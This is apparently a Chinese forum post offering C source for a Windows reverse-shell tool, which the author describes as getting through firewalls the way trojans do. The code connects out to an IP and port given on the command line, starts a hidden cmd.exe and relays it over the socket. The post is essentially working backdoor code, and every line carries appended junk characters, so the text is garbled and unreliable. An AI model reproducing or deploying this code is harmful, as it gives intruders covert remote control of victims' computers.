这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /,0t,"&Aqa
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/* ============================== l}(~q!r
Rebound port in Windows NT V6$v@Zq
By wind,2006/7 .<42-IEc
===============================*/ l.BSZhO$
#include 59^@K"J
#include x\Sp~]o3C
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#pragma comment(lib,"wsock32.lib") A{6ZEQAh>
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void OutputShell(); Lp
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SOCKET sClient; ~82jL%-u
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (rwbF
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void main(int argc,char **argv) 82)d.>
{ ^1cqx]>E
WSADATA stWsaData; ?>o39|M_w
int nRet; m'qMcCE
SOCKADDR_IN stSaiClient,stSaiServer; ^m1Rw|
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if(argc != 3) c>UITM=!I
{ L8j,?u#
printf("Useage:\n\rRebound DestIP DestPort\n"); C}1(@$
return; iD(K*[;lc
} #Y18z5vo
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WSAStartup(MAKEWORD(2,2),&stWsaData); &6\rKOsn
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p[o2F5 T2
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stSaiClient.sin_family = AF_INET; E?XA/z !
stSaiClient.sin_port = htons(0); >leOyBEAR
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Xj/X.
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F}01ikXDb'
{ lHGv:TN
printf("Bind Socket Failed!\n"); Xj-3C[8@
return; y~luuV;uj
} &e rNVD5o
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stSaiServer.sin_family = AF_INET; 9M7P]$^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); T]vD ,I+
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); '[-/Xa['
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yQx>h6
{ ;:!LAe
printf("Connect Error!"); #SqOJX~Q
return; 9xKFX|*$
} XW#4C*5?d
OutputShell(); Lw#hnLI.
} cKfYkJ)A'
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void OutputShell() u51/B:+
{ h NoN=J
char szBuff[1024]; Z0'3.D,l
SECURITY_ATTRIBUTES stSecurityAttributes; Rp<Xu6r
OSVERSIONINFO stOsversionInfo; & aLR'*]6
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; OKU P
STARTUPINFO stStartupInfo; SA&wW\Ym]
char *szShell; ;% !?dH6
PROCESS_INFORMATION stProcessInformation; ;dWqMnV
unsigned long lBytesRead; ^4fkZh
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B#DV<%GPl
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vn_avYwiy
stSecurityAttributes.lpSecurityDescriptor = 0; @!MbPS
stSecurityAttributes.bInheritHandle = TRUE; 9qW,I|G
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t!=S[
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <7&b|f$CL
k@Tt,.];
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "_l[4o[D
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0PfFli`2;
stStartupInfo.wShowWindow = SW_HIDE; @<PL
stStartupInfo.hStdInput = hReadPipe; 4Oy
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |s^ar8)=)
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GetVersionEx(&stOsversionInfo); fU}w81oe
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switch(stOsversionInfo.dwPlatformId) #X8[g _d/
{ TXa XJIp
case 1: P:=ADW c
szShell = "command.com"; B';Ob
break; ]@P*&FRcZ
default: %q Q(@TG
szShell = "cmd.exe"; 4mAtYm
break; }Q=Zqlvz
} _SaK]7}m!
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {k*_'0
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send(sClient,szMsg,77,0); !eq]V9
while(1) ^
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{ at*=#?M1?
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); xpxm9ySwu
if(lBytesRead) eXd(R>Mx
{ q-Qws0\v.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <(MFEIt
send(sClient,szBuff,lBytesRead,0); &zp5do;m
} op*+fJHD
else }';&0p2Z
{ kT1lOP-Bg
lBytesRead=recv(sClient,szBuff,1024,0); VJ"3G;;
if(lBytesRead<=0) break; ~<%cc+;`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); U)!AH^{32
} yU.0'r5uR
} @}gdOaw
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return; kUt9'|9!
}